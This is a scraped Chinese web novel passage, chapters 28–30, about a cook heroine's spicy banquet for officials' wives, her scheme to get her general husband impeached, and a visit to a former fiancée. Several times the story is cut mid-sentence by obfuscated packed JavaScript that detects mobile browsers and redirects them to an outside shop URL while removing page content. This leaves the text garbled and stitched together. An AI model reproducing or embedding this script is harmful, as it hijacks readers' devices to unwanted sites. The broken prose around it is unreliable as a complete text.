绳子在腰间勒得死紧，罗姈抓着麻绳努力往上攀。 “……” 不行，她没这口力气。 爬了好几次还够不上一半，顾承禾无奈：“我背你。” 罗姈牢牢扣着他的脖子，生怕又摔下去，顾承禾倒是十分轻松，三两步就蹿了上去，托着一个人也如履平地。 但奈何他好使但绳子却不好使，撑不住两人的重量，攀到中段，隐有裂声。 无奈，士兵只有去换更粗的绳子。 顾承禾背着罗姈稳稳跳回平台。 这么一折腾，天色欲晚，山风开始猎猎作响。 顾承禾解了自己的外袍，劈头盖脸丢给罗姈。她的衣裳在滚下来时都刮破了，漏风。 罗姈在厚重的锦袍中钻出半个脑袋：“你不冷吗？” 说完也不管顾承禾摇头，径自把他拉进崖腔里。 背着风，披着外袍，两人紧紧挨靠在一起。 顾承禾一开始还很不自在地想要离远一点，但大风开始无休止地刮进来。 好吧，确实很冷。 过分亲昵的动作让他开始没话找话：“三司会审将近，刑部那边还没有放人的意思。” 罗姈搓手生热，闻言皱眉。 还没有动静吗？圣心难测真不是说说而已啊…… 她思索片刻，向顾承禾打包票：“那我来给他再添一把柴！” 话音刚落，山上人又放了新绳子下来。 这一次终于顺利地爬上去了，罗姈立即拍拍顾承禾想要让他下去救方愉贞。 还没等她开口，顾承禾就自然重新下崖。 救上来方愉贞扭伤了脚，罗姈让顾承禾送她去医馆，自己则先回了家。 刚到家逢莺就迎了上来，听说她人摔下崖，话传得怪吓人的，逢莺觉都不敢睡，直守在门口。 扒拉她左看右看，逢莺皱眉：“伤着哪儿了？” “我没事儿，倒是连累愉贞扭伤了。” “方夫人？”逢莺一愣，“你见到方夫人了？” “顾将军呢？怎么没回来？”不是说第一时间去西陀山救人了吗？ 罗姈不以为意：“哦，我叫他送愉贞去医馆了。” “……”逢莺默了半晌，“我想你是不是还不知道呢？” 这话里有话的意思，罗姈不禁蹙眉。 怎么说呢，逢莺想了想决定还是直白些。 “他们俩从前定过亲的。” 28. 女宴（上） 曾有诗云：愿得辛香传万古，不教余味负初心。这辛辣之味确然是五味之中最亮眼，最夺目的一味。 借着蜀州唐娘子的许愿，罗姈今日在百味坊摆了一桌辣宴，宴请了京中诸多宾客，皆是女郎。 姐妹们齐聚百味坊，共享辛香！ 尤其嘱咐了小春和崔平好生招待这些贵女们，日后说不定也是潜在客户了。 “难怪我家四郎省吃俭用也要来用饭，可真是个妙地啊。”率先进门的唐娘子没见过世面似的张望，全然不记得自己好歹也是有名的富商。 倒不怪她吹捧，为了迎接这些夫人娘子，罗姈特意重新布置了一番内饰。 装上琉璃灯，摆上水仙花，点檀香，铺锦缎，用的都是京中女郎们最喜欢的物什。 就好比这餐布吧，给每位夫人娘子准备的都不同。 给蜀州唐娘子的生意添个“得胜”好意头，用的是靛青色的菱纹定胜图样。 大理寺寺正的夫人李氏家里刚添了丁，则用的是大红色的石榴图样，多子多福的寓意。 户部尚书的夫人张氏常年供奉，便用藏蓝色的三多莲花。 还有某家小娘子后日要过生辰，罗姈便挑了块俏皮浅粉的桃子松鼠。 看出用心，张夫人爱不释手地抚着缎面：“罗夫人用的还是宋锦呢。” 这宋锦是大周的四大名锦之一，其余分别是蜀锦、云锦和壮锦，早年都是宫廷织造，刚传到民间不久，用的蚕丝经线极为珍贵，拿来作餐布实在是大材小用。 不过这样更显得悉心款待，各位夫人娘子们看起来都满意极了。 接下来就是要考验罗姈的庖艺了。 第一道菜她就做了无论男女老少，没有人可以拒绝的油炸小酥肉。 选取肥瘦相间的五花肉，刮洗去皮，切作大小一致的长条，然后准备腌肉。 案板另一头的崔平已经将花椒用文火焙好，预备放入石臼研磨，罗姈适时提醒：“莫要磨得太细，太细下油锅会发苦。” 然后将粗花椒、胡椒、薄盐、葱段、拍松的姜片和黄酒一起抓拌入味腌制。 等待的间隙就来调制小酥肉的面衣，此步骤是小酥肉酥脆之关键。 除却必要的鸡蛋和生粉，还要额外添少许面粉，这样炸出来的小酥肉口感会更加酥脆。直到面糊用筷子挑起如瀑流下，就是状态刚好，不会发硬也不会脱浆。 这小酥肉要吃起来有滋味，面糊里也不能忘了花椒，再添一次盐，拌匀就可以下油锅了。 两次复炸后就变成了极为漂亮的金黄色。 刚出锅的酥脆是食物最顶级最美味的状态，咔嚓一口，肥肉入口即化，淌成滚烫的肉汁，一丝油腻也无。瘦肉更是喷香于唇齿，嫩如美人柔荑。 间或还能咀嚼到大颗的花椒粒，麻一下舌头，精神都为之一振。 对于其他夫人娘子来说，这小酥肉已经极够味了，但是出身花椒之乡的唐娘子表示她还要加麻！加辣！ 罗姈早就为她准备好了她秘制的茱萸辣子酱，是即使吃过无数辣味的蜀娘子也从未闻过的幽香。 在蘸之前罗姈好心提醒，这酱可是极辣的。 极辣？嗜辣之人怎可能怯对辣字，这不是提醒反而是一种挑衅，于是乎唐娘子勇猛一擓。 一股子热浪一下子就冲透她的鼻子，顶上她的额头，细密的辣意疯蹿过口腔的每个角落，一时汗如雨下。 罗姈体贴地递上冰镇过的雾里青：“够辣吗？” 唐娘子一时说不出话只一味点头。 一口入魂，半晌她才缓过劲儿。 咽了咽津液：“刚才是我没准备好，我再来一口。” 罗姈扑哧一笑，这嗜辣之人的嘴果然硬得很啊。 这一次唐娘子铆足了劲儿要证明她们蜀州人的脸面。 “唔……刚刚好的辣，”唐娘子憋得脸红也绝不认输，一边吸气一边道，“主要是香，你们要不要尝一尝？”说着便要分食给其他女郎。 大家都聪明得很，也没有什么蜀州人的脸面要撑，只沾了小指盖大的一丁点儿，就被辣得直吐舌头，纷纷讨要凉茶或冰酒。 “你这辣酱好生别致，又香又臭的，里面不只茱萸吧？”唐娘子好奇道。 罗姈点头：“还有香椿姜蒜。” 制作也不简单，发酵、腌制、熬煮，精心调味。 想吃辣菜的时候就放那么一点儿，没想到有人会那么虎，一口就是足足三份菜的量。 罗姈：“我还有没有香椿的一坛，你要喜欢就带回去。” 唐娘子抚掌大喜：“那感情好，好久没吃上这么够劲儿的辣子了，回去让兄嫂和侄女侄儿们都尝一尝。” 接下来罗姈要做的第二道菜就更让她高兴了，是她们蜀地的名菜——椒麻豆腐。 用豆油将红亮的菽酱、咸香的豆豉、增色的秋油炒出香味，添一小把花椒和豚骨高汤一起咕嘟咕嘟煮一会儿，再下入盐卤豆腐。 因为用的是提前泡好入味的老豆腐，所以后续的盐要轻点，火力要旺。 如果是嫩豆腐则不能继续扇火，否则锅气一沸，豆腐就煮烂了。 随着罗姈推锅的摆弄，香味顺势听话地跑到食客鼻子底下。 天老爷，怎么能这么香？ 夫人们干脆坐不住了，统统围到了开放的灶台旁。 罗姈耐心地收着最后的芡汁，三次勾芡，直到芡汁完美地包裹住所有豆腐。 出锅前还要再撒一把炸得酥香酥香的豚肉末和茱萸辣子翻搅均匀，最后再淋一勺明油方可出锅。 将烧好的豆腐倒进保温的砂锅里，相撞时轻微的弹动，足以证明它的动人可口。 红亮亮的豆腐块垒严整不烂，色泽诱人。 此时众人的津液就好像欲沸的满水茶壶，等不及要顶开壶盖，大快朵颐！ 在团团围堵且急不可耐的目光下，罗姈又慢条斯理地撒上细细的花椒面和鲜翠欲滴的葱花，才大发慈悲地宣布：“可以开动了。” 不似嫩豆腐的细滑，一口下去，盐卤豆腐在口中尚保持着初时骄傲挺拔的姿态，但只要人的牙关一合，舌头一抵，顷刻溃不成军。 糜烂的豆香与咸辣的椒麻交织，间或混进几颗爆香的豚肉粒，好吃得让人直咬舌头！ 聪慧好食如唐娘子立刻举手：“给我上一碗米饭！” 当捣碎的红油豆腐和热气腾腾的大白米饭搅和在一起，米饭中和了咸辣，抚平了椒麻的燥火……也点燃了狂暴的食欲。 内心高呼：椒麻豆腐拌米饭，就是千金也不换！ 几个人一分，一桶米饭转眼就见了底，罗姈失笑让小春再蒸一桶，因为……下一道菜也很下饭。 除了茱萸、花椒，辛香椒麻之味又怎么能少的了藤椒呢？ 这一道藤椒鲤鱼则是交由崔平来做，罗姈摘下围裙在一旁指教。 起先说要教徒时崔平还万分惶恐，但罗姈只道一句“疑人不用，用人不疑”就安了她的心。 崔平也没有辜负她的期望，只教过一遍就将所有步骤烂熟于心。 杀鱼、片鱼这些做惯了的粗活自不必说，做得甚至比罗姈还要好。 鱼肉投洗后用盐和胡椒腌味，然后快速拍打搅拌，将水份收紧，再裹上蛋清和生粉，锁住鱼鲜的同时也能让鱼肉更为滑嫩。 绿油油的莴笋叶沿着根茎对半切开，再割一茬自己发的粗壮黄豆芽，焯水断生后铺在砂锅底。 准备蒜末、葱花、咸豉、茱萸辣子、孜然粉，随后淋一圈灵魂藤椒油，辅料就制备好了。 接下来就是重中之重的烹鱼了，崔平不自觉看向罗姈，得到对面一个重重的肯定后，深呼吸拿起自己的“武器”——锅铲，郑重地走向她一个人的战场。 起锅，等火舌由温柔转为强势，再将鱼片滑入锅中，这个过程要保持水似开非开，当粉色透明的鱼肉开始泛白但又还没有熟透，鱼皮微微翘起时才能捞出来。 古代的土灶不似现代的燃气，火候可以轻松控制，罗姈在一旁观察，比她自己做菜还要紧张细致。 是时候了！ 崔平抄起笊篱将鱼片捞起，熟度控制得刚刚好。 最后一步宽油烧至七成热，将焯过水的藤椒放进锅里唰地炸成烟花，满屋都是藤椒的清香。 码好的底菜和鱼肉，刺啦一声浇上滚烫的藤椒热油，调料的香味被尽情释放，瞬间激起人类最原始的欲望。 末了撒一把葱花和芫荽，大功告成！ 崔平抹了把汗，期待着罗姈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“娘子您忘了这个。”小春拿来一碗炸得金黄的黄豆酥。 小黄豆这么一点缀，这碗酸辣粉立刻就显得更美味了。 粉丝晶莹透亮，卧在油辣油辣的热汤里，再浇上多多的陈酢，一口下去爽滑劲道，待酸爽褪去，鸡油高汤的鲜美留在舌尖，让人直呼过瘾！ 再夹一颗黄豆酥，透油炸的，酥到骨头缝儿里的豆子香，浸了辣汤也味美。混着芫荽再来一口，香迷糊了都。 吃这满汤的酸辣粉就好像在暴雨中打着伞过独木桥，必须全神贯注，气定神闲。一筷子擒住那滑溜溜的粉条，决不许任何一根滑落，跌回汤里溅起红油。挟着那股热腾腾的酸辣劲儿，嘶溜一下塞进口中，滋味万千。 吃的人浑然忘情，看的人更是心痒难耐，本来已觉饱胀的其他女郎纷纷觉得自己好像还能溜溜缝儿。 平日里，大家在外用食总是要时刻注意仪容，所以从不敢碰这些辛辣的吃食，生怕涕泪花了妆面。 但是今天百味坊里没有外人，只有自家姐妹，食辣失仪？失仪就失仪！ 饭就是要痛快地吃！酒就是要大口地喝！ 终于是撑得不能再撑，众人眼里已经迷离失焦。 “诸位姐姐妹妹可都吃饱了？”罗姈微笑询问。 大家头如捣蒜。 “那可真是可惜了，”罗姈佯装失意，“我还做了甜糖水呢。” 什么？还有餐后甜品？ 女郎们的美眸瞬间聚焦，甚至迸出亮光。 扶我起来，我还能吃，甜品还有第二个胃！ 在崔平和小春端来糖水之前，罗姈走到众人中间，一副有话要说的样子。 这时，有人从饭晕中清醒过来，今日罗姈请的这些官家夫人娘子们，好巧不巧，夫君兄长不外乎都是朝堂上的中立派…… 李夫人清咳：“罗夫人……今日请我们来此，该不是想要替你家将军部下讲情的吧？” 朝堂上刀光剑影，一个不慎就是满盘皆输，各家女眷们纷纷凝了脸色。 “妹妹我确实是有事相求，”罗姈随即甜美一笑，“却是想劳动姐姐们说项，找个由头在朝上狠狠参我夫君一笔。” 29. 女宴（下） “要是能给他降个一官半职的，那就再好不过了。” 罗姈这话一出，诸夫人大为不解，只有盼着夫君步步高升的，哪儿有求着贬官折爵的。 拉来一个蒲团，罗姈干脆坐在大伙儿中央，开始诉苦：“诸位姐姐们也知道，我自个儿照应这食店很是不易，我家那位不帮忙就罢了，还说我终日提篮过巷有失体统，将我贬的一文不值。” 开始逐条细数顾承禾的“罪状”。 “顾将军竟是这样的人？”暴脾气的唐娘子听罢大为光火。 一向静心养气的张夫人也忍不住皱眉：“当真是看不出，我还当他是个稳重疼惜人的。” 罗姈低头叹气：“许是为近日石统领的事儿烦心吧，”她还为顾承禾解释，“成婚前从来没跟我说过一句重话。” 一双柳叶眉恰到好处地似蹙非蹙，惹人疼惜。 有女郎立即道：“哎呀我的好妹妹，你是被男人的鬼话哄了，婚前浓情蜜意，娶回来一眼都不带瞧的。”完全是过来人的语气。 “姐姐们也晓得，为着这桩婚事我与娘家是断了的。”罗姈说着挤出两滴泪，“没有娘家做倚仗，我都不敢跟他回嘴，只能唾面自干。” 说到这里大家都明白了，在夫家受了气最重要的就是有娘家能撑腰。 李夫人拍拍胸脯：“妹子你放心，咱们就是你的娘家，姐姐给你撑腰。你想叫他吃个教训是不？赶明儿我就叫夫君上折子好好骂他一顿，要不够我还有个做御史的弟弟，他会骂人，骂得可脏了。” “就是！欺负咱妹子娘屋里没人，给他长长记性！” 女性是天然同盟，唐娘子认真教罗姈：“以后他要再敢骂你，你一定要怼回去，咱们女人不能吃亏！” 张夫人也道：“你就跟他吵，吵离了姐姐再给你介绍，好郎君多的是，咱这条件还怕找不到一个称心如意的？” 说着说着竟还真提前给罗姈物色起来了。 还好崔平和小春赶紧奉来了糖水，救她一命。 隔老远就是一股浓郁的黑芝麻香。 没错，今日的餐后甜品就是黑芝麻糊。 清早起来就开始磨芝麻，为的就是这一碗香浓。 黑黝黝沉静在碗中，看似很稀，用羹匙提起就啪塔啪嗒往回落，实际吃到嘴中完全不是这样，非常厚实的口感，因为磨得不是很细，所以还能咀嚼到一些颗粒，砰的一下在舌尖爆开醇足的芝麻香。 像一碗稠乎乎的黑粥，稍微静置那么一会儿，表面就结了皮。 轻轻一吮很顺滑吃进嘴里，但是厚厚地糊在嗓子眼儿，让你充分记住黑芝麻的香气。 再咂咂嘴，好一番回味。 张夫人爱极了这一口，问罗姈：“这糖水怎么做的，我也学一学。” “甭麻烦，夫人想吃就再来，这一旬都有。”罗姈答。 真不是她藏私，实在是这芝麻糊老费功夫了。像今天她和小春崔平三个人做了足足一个时辰，而且寻常不进厨房的人也很难掌控。 就说这炒芝麻，黑芝麻什么时候是炒熟了，放在黑黢黢的锅里根本看不出来，新手很容易就糊锅。 不过后来罗姈学了一招，放几颗白芝麻在里面，当白芝麻变得焦香微黄，黑芝麻自然也就一同熟了。 然后是最费力的，用石磨碾子把黑芝麻和江米全都碾成糊糊，若想更香可以再添几个红枣。 做完这步，三个人几乎就要累瘫了。 这时候罗姈无比想念现代的破壁机。 不过煮出来的香味还是非常疗愈人心的。 除了经典的醇香黑芝麻糊，她还做了炖蛋的版本。 这种就是等传统的芝麻糊放凉结皮，羹匙立上不倒后，混合蛋清和牛乳浇筑其上，蒸熟以后又是一重风味。 双层口感黑白配，上面的炖蛋像软玉一样，下面的黑芝麻稠得发亮。 先入是嫩滑的轻盈，混杂牛乳的甜香，颤巍巍地滑进喉咙，云朵似的清缈。其下就是黑芝麻糊，浓稠甜蜜，使天上的云彩落入平和踏实的土地。 一口炖蛋一口芝麻糊，根本不会腻烦，倒像是周而复始的奖励。 这下真是吃美了，宴毕罗姈亲自送客：“期望姐姐们日后玉趾亲临。”不忘道，“还有这方宋锦，姐姐们喜欢尽可带走，就当是妹妹准备的伴手礼了。” 满载而归，诸位夫人娘子们喜不自胜，纷纷表示定不会忘了罗姈的嘱托。 …… 第二日晚暮。 罗姈在房间里咬着笔头，一手拨算盘，一手翻账本，口中径自念叨：“三下五去二，四下五去一，嗯……五上五进一。” 扒拉半天，一捋算珠子，啊啊啊烦死了，算账怎么这么难！ 尤其百味坊又新进了酒水，添了笔酒帐，她的算筹能力本就捉襟见肘，事务一杂，彻底晕头了。 唉……愁的啊，暮食都不想吃了。 感应到人的烦躁，东狸跳上罗姈的膝头，不停用小脑袋拱着她的肚子，一会儿又跳上桌子，梆梆打了几拳算盘，替罗姈出了口气。 “打得好！今天给你再加一条小鱼干！”罗姈摸摸它的脑袋，表示奖励。 “娘子！娘子！救命啊！”小春哀嚎着跑来敲门。 “怎么啦又是？”罗姈耷拉着脑袋回应。 “那个签菜我们做不好，下油锅不是散了就是打卷了，您来看看吧。” “不是教过一遍了嘛？”罗姈无奈起身。 今晚暮食她还等着吃现成的呢。 “那我没您和崔姐姐聪明嘛，再教一遍，再教一遍。”小春不由分说把罗姈拉进厨房。 罗姈围上围裙，阿莲阿香阿山阿海也全都围了上来。 扫一眼案板灶台，几个人像书院里功课不合格的学子一样默默低下头。 罗夫子拿起筷子搅了搅：“你看你们这个肉馅儿，没加鸡蛋清当然不黏合。”摇头轻叹，“还有这个网油的筋膜也没拍断，下了油锅可不是要打卷儿么。” “我再给你们示范一遍。” 重新细细搅了馅儿，裹网油，蘸面糊，下油锅。 夫子就是夫子，做起来麻利又轻快，游刃有余。 方才还压不紧的肉馅儿在罗姈手里就变得分外团结，裹不上的网油也老实黏合，到了下油锅时更是不敢散漫，一个个直挺挺的，板正得不得了。 五人仔细瞧着，认真地学。 罗姈将小春遗漏的要点全都重新补上，除了原本的鸭签，又多做了羊签和鹅签。 祖母也还没用饭呢，罗姈干脆送一份到祖母院儿里一起吃。 老夫人笑眯眯地看罗姈布饭，心里那叫一个美滋滋。 闻着就香气扑鼻，映入眼帘的深青釉彩大圆盘上垒着数枚“黄金签子”，细一瞧，旁边还抹着赤红的酱料，形状恰似一轮红日。 “这普通的签菜经由少夫人的巧手一摆弄都不普通了。”一贯寡言的刘姑姑都忍不住称赞。 罗姈抿唇一笑：“祖母快趁热尝尝。” 老夫人执著取用，罗姈从旁提点：“蘸此酱食用风味更佳。” 老夫人从善如流，先夹了一块羊肉的。 这一口她嚼了许久，眸色更是几度变幻，最后归于讶然：“我从未用过这般可口的羊肉签！用了三娘的羊肉签，从前的羊肉签简直白用了！” “吃着一点儿不腻，这茱萸辣酱调的真够滋味！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724507|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如此高的评价，也不枉她费这诸般功夫。 罗姈：“其实这功劳不全仰仗茱萸酱，您再回味回味，可觉杏香？” 老夫人仔细咂摸舌尖：“还真是有点儿杏酸味。” 说起庖技罗姈不免|流露些许自得：“盖因我在腌羊时放了杏泥，用时再佐辣酱，便不觉油腻，只有开胃了。” 传统的签菜就是取肉馅儿裹上网油，再挂一层面糊炸制而成，香是香，可用多了难免油腻。 所以除了鸭签用的仍是网油，羊签她改用了腐皮代替，而鹅签则用的是蛋皮。 还在腌渍时费了很多心思，除却寻常要用的葱白、淡酒、盐以外，特意多放了良姜草果，再将她夏日存的腌杏捣烂成泥加入，才算完满。 最后将腌制好的羊肉与松黄、姜汁同炒，八成熟后再裹上腐皮下锅，炸至金黄捞出装盘。 “此间还有两味呢。”罗姈言笑晏晏地示意老夫人再用。 这次老夫人没蘸辣酱，单独取用。 她挑了挑眉：“唔……这道鹅签也好。” 鹅没有羊的腥膻气，且为了区分口味层次，这道鹅签没加杏泥，而是夹笋丝菜丝和香蕈葱段，做了个爽脆口。 “还有这鸭肉的，鸭肉滋五脏之阴，清虚劳之热，补血行水，养胃生津，您一定要吃。”说着又鼓捣老夫人夹上一块。 “也好也好。” 在罗姈的卖力兜售下，老夫人不知不觉竟将一盘签菜全吃光了。 罗姈又陪着散步消食，倏忽就到了晚上。 独自回房，罗姈继续愁眉苦脸地对着账本发呆。 明月高悬，清辉如霜，顾承禾终于踏夜而归。 卧房里的油灯朦胧地亮着，投下一地暖光。 还没睡么？ 他思索再三，叩响房门。 “……进。”声音有气无力。 推开门，就看见一个乌发女鬼伏在案头。 “你……” 听见低沉的男音，女鬼抬头：“顾承禾？” 倏地眼冒精光，抄起算盘就冲到他面前：“你会不会算账？” 他摇头：“没学过。” 女鬼叹气，幽幽飘了回去，同先时一模一样的姿势倒在桌上。 了无生机。 顾承禾踱步进来，带来一身寒气。 罗姈抖了抖，换了个靠熏笼更近的方向，保持着姿势继续发呆。 “你在苦恼算筹？要不要我给你找个账房？”顾承禾沉吟，“百味坊还有什么缺的吗？胡椒和茴香之类的香料够不够？” 古怪，这还是顾承禾第一次这么关心她。 罗姈直起身子，一脸疑惑：“怎么？干嘛无事献殷勤啊？” 顾承禾握拳虚咳，径自拖了凳子坐下说话：“今日上朝不知怎的，陛下说有许多参我内行不谨，德行有亏的折子，”问罗姈，“说我薄待妻室，你知道是哪里来的谣言吗？” 罗姈：“……” 呃……好像就是她这个妻室亲自传的。 “呵呵……”半晌她才尴尬地笑笑，挠头，“那个……那陛下怎么说？有罚你吗？” 如果顾承禾能因此获罪，受个不大不小的苦楚，武官顾系一派遭受打击，说不定就能换石敢信出来了。 罗姈是这么想的。 “陛下责备了几句，今日朝上还有要事，上元节后西戎使臣将至，通商一事还未有定论。” “啊？”罗姈失望道，“石统领的案子也没提？” 顾承禾摇头。 罗姈暗自咬牙：她都已经使尽浑身解数了，这皇帝心眼儿怎么这么多啊，他到底在想什么？非要置顾家于死地吗？！ 30. 金齑玉脍与豚骨芸豆汤 这几日推出的辣菜颇受欢迎，没了邹洪捣乱，加上独家美酒雾里青的助力，百味坊的生意更上一层楼了。 崔平做饭也愈发得心应手，罗姈自在悠闲地在店里招呼客人。 “罗掌柜，今日这椒麻豆腐可真够味！” “酸辣粉还有没有？我想再来一碗。” “罗娘子你也太会想了，我这五脏庙可是要被你套牢啦！” …… 与食客们一一搭过话，罗姈美滋滋地在账台点起了银子。 不消时，店中又来了人，门边的食客主动提醒：“阿伯，送鱼走后门。” 小春闻声抬眼，赶紧戳了戳罗姈：“娘子，是章三司！” 还是一身旧蓑衣和破鱼篓，看不出一点儿位高权重的样子。 罗姈立马迎过去：“章相您来了？” 章仕春摇头：“今日没有章相，只有钓鱼翁，老翁我来给你送鱼来了。” 说罢摇了摇手里的破鱼篓，沉甸甸的，收获满满，一脸炫耀。 罗姈盈盈一笑：“好，作为报酬我就请老翁用一顿饭食。” 席间老少二人如忘年挚友，推杯换盏，相谈甚欢，从风土人情到佳肴美馔。 直至论起鱼来，罗姈认为各鱼皆美，不分轩轾，而章仕春却坚持鱼中至味当属鲈鱼。 两人分说不下，章仕春撸袖起身：“我来给你露一手。” 还以为章相只是老道饕客，没想到竟也能入庖厨。 罗姈兴致勃勃地凑上去，亲手给章仕春系上围裙。 “金齑玉脍，听说过吧。”章仕春招招手，罗姈将配料姜蒜端来。 “不够，还要白梅、熟栗、粳米和橘子。” 罗姈一直以为这道名古馔就是用姜、蒜、韭做成齑汁，配上鱼脍食用，没想到竟还有这么多讲究。 “我那篓里就有鲈鱼，拿一斤多的来，太大的不要，做脍会老。”章仕春嘱咐。 随后将鲜橘皮、熟栗、和切好的姜蒜放入石臼。 章仕春指点道：“这金齑之色需取橘黄，但多橘则苦，故添栗黄，益取甜味。” “还有这蒜，宜去蒜心，若全心使用，过辣亦不美。” 又撒下一把米，教罗姈：“再加米，米之甘亦是平衡之法。” “选用这种短圆敦实的珍珠粳米，它比细瘦苗条的长棍籼米更有糯香。” 罗姈点点头表示受教。 再添反复腌晒，吸饱了盐的梅干，因为析出的盐晶如同白霜一样覆盖表面，故称白梅。不用取核，直接丢下去一起捣碎，八枚足以。 石臼肚深而圆鼓，装了满满当当的金黄与银白，散发着幽幽的辛辣与甘甜，另加盐与酢，咸香与酸香共舞。 用石杵用力捶打，反复碾磨，很快就倒出一碗复杂香浓的金齑。 再片鱼脍，冬日鲈鱼正是鲜嫩肥硕的时节，肉厚且细，最是美味。 其实好的刀工片完鱼后应是沾纸无水痕的，但章仕春到底是少事庖厨，片鱼的功夫十分平平。 待白玉片片铺就，这金齑玉脍终于做好了，罗姈十分期待。 将肥美的鲈鱼片放在烫热的盐板上轻轻炙烤，快快翻面，不能炙得太熟，太熟失其鲜嫩，微微泛白即可。 沾上一点“碎金”放入口中，微微的酸，细细的咸，淡淡的辣与甜，配上鲈鱼之鲜，当真应了东坡先生那句：“金齑玉脍饭炊雪。” “没想到您还真会做饭食。”罗姈看章仕春应对庖事还算熟练而感叹。 对于这样一位忙于政事的大宰相来说这种程度已经很厉害了，不像她的阿爹，不分五谷。 章仕春放下筷子，镇定道：“其实我就擅这一道。” 带着一点怀念望向窗外：“这金齑玉脍是我夫人教我的，她幼时在吴江长大，算半个吴江人，尤其喜爱家乡的鲈鱼玉脍。” 章仕春的夫人，章明达的母亲，罗姈对这位女郎充满好奇，她一定也是一个精于食道的老饕。 觉察到微末的伤感，罗姈弯了弯嘴角：“您很想念夫人吧，”她安慰，“人都道吴江是丰饶鱼米地，幽雅水云乡，尊夫人一去经年，想必已了莼鲈之思。” “我才不想她，”章仕春撇过头掩去眼角的湿痕，“她一去十年，把我说抛下就抛下。” “我才不想她。”又强调一遍。 转过来重新挂上熟悉的散漫笑容：“我还要再找一个比她美貌千百倍的娇娘。” “找了十年还没找到，想必尊夫人一定貌若仙子，”罗姈轻笑揶揄，“我看您的二婚是难了。” “哼。”章仕春撇嘴不应。 他定定看着罗姈转道：“丫头你晓得今日这么些个鱼，我是从哪儿捞的吗？” 以为章仕春要炫耀，罗姈配合道：“从哪儿？” “浊河浑水。” 章仕春老神在在，一脸深意：“丫头你记着，因为……水至清则无鱼。” 这话绝不是随便闲谈，今日章仕春来找她是有目的的，罗姈皱眉深思。 须臾，她恍然：“多谢渔老翁提点，我明白了。” 西戎使臣将至，通商一事迟迟未决，陛下仍在考量。 其中，以枢密使陈三友和禁军统领孙鹏举为代表的反对派，一直不支持和西戎开放商贸。 而顾承禾一直没有表态，他觉着通商利民，但出于顾家祖祖辈辈保卫疆土，他实在不喜胡人。 而今日章仕春前来之态，说明她阿爹罗正松在朝上已经明确了立场。 文武离心，两势平衡，该是需要顾承禾唱反调的时候了。 送走章仕春，罗姈在灶台又煲了一罐汤，嘱咐小春：“你在店里支应着，我去一趟承恩伯府。” 她去探望方愉贞。 也是那日落崖后她才晓得，原来顾承禾、易礼、方愉贞三人是自幼一起长大的情谊，算是青梅竹马。 很小的时候，顾家和方家就定亲了。 但是当时边关战事吃紧，顾承禾一直征战在外，没有回京。 婚事拖了一年又一年，到方愉贞十八岁的时候，也就是罗姈现在这个年纪，顾承禾的父亲战死沙场，他本人深入敌后杳无音讯。 都以为顾家军败了，顾承禾再也回不来了，顾老夫人就做主主动退了这门亲事。 没想到顾承禾回来了，大胜凯旋。 可他还要为父守丧，一年半后母亲又病故，而方愉贞的祖父方老太师也是行将就木，约莫也就是这几年了。 三年之后又三年，方愉贞耽搁不起了，方家也耽搁不起了。 最后方愉贞便嫁给了承恩伯的幼子，王家三郎王蕤。 阴差阳错，两人就这么错过，罗姈听罢也不禁为之唏嘘。 到了承恩伯府，由下人领着到了方愉贞的院落。 一路行来，罗姈暗暗皱眉，这也太僻远了些。 一跨进垂花门就闻到花卉芬芳，有腊梅、角堇、水仙、君子兰、石竹、常春藤……一眼望去仿若春田。 全都打理得极好，仰首挺胸地盛放着。 除了最中央的几盆蝴蝶兰，在众多绚烂花朵的簇拥下，她们枝叶尚绿，可是已经垂下花杆。 “愉贞，这些花儿都是你亲手打理的吗？养的真好！” 罗姈迎上去想要接过方愉贞的轮椅亲自推，被她的侍女躲开，讪讪收回手。 “宝儿！”方愉贞轻斥，“你下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再来几颗白芸豆子，别看它们外衣穿得严整，只要用牙齿轻轻一碰就陷入绵沙之中。咬破薄薄的豆衣，舌尖轻轻一推，软和的豆面就像擀面皮一样抻开，豆类独有的香气充盈，嚼一嚼，像极了清淡版的灵沙臛，粉面软和。 尤其这豚肉和芸豆还一起共浴汤泉这么久，早就你中有我，我中有你，香气难舍难分了。 其实啊还有这棒骨里头沁了汤的骨髓，那更是精华中的精华，捧着这么一吸溜，啧……绝了！ 但想着愉贞是个斯文人，怕是做不来这粗犷事，罗姈便没有提。 足足喝了三碗汤，方愉贞阻止罗姈再盛：“够了够了，你这骨头汤一喝，我明儿就能下地了。” 罗姈遗憾收碗，末了她突然想起来问：“愉贞你现在在府里处境还好吧？” 她也是后来听李夫人讲才知，王家二郎娶的是邹洪的亲姐姐邹莹，承恩伯府如今是邹莹掌着家呢。邹家因她乱了套，愉贞又和她走得近，不晓得邹莹会不会为难。 方愉贞知她所想：“你放心，我与二嫂虽算不上亲近，但她也不会刻意与我为难。” 两人又絮絮说了些旁的闲话，忽而下人通传王家三郎回来了。 芝兰玉树，温和有礼，还十分健谈，不知比顾承禾那个冷面疙瘩好多少倍，罗姈初见颇有好感。 人家夫君回来了，寒暄后罗姈也识趣告辞。 她人还没走远，就听到王家三郎在背后问询方愉贞的伤势。 字字关切，句句细致，可罗姈总觉得没有在他的语调中听到该有的起伏…… 就好像……是专程来说与她听的一般。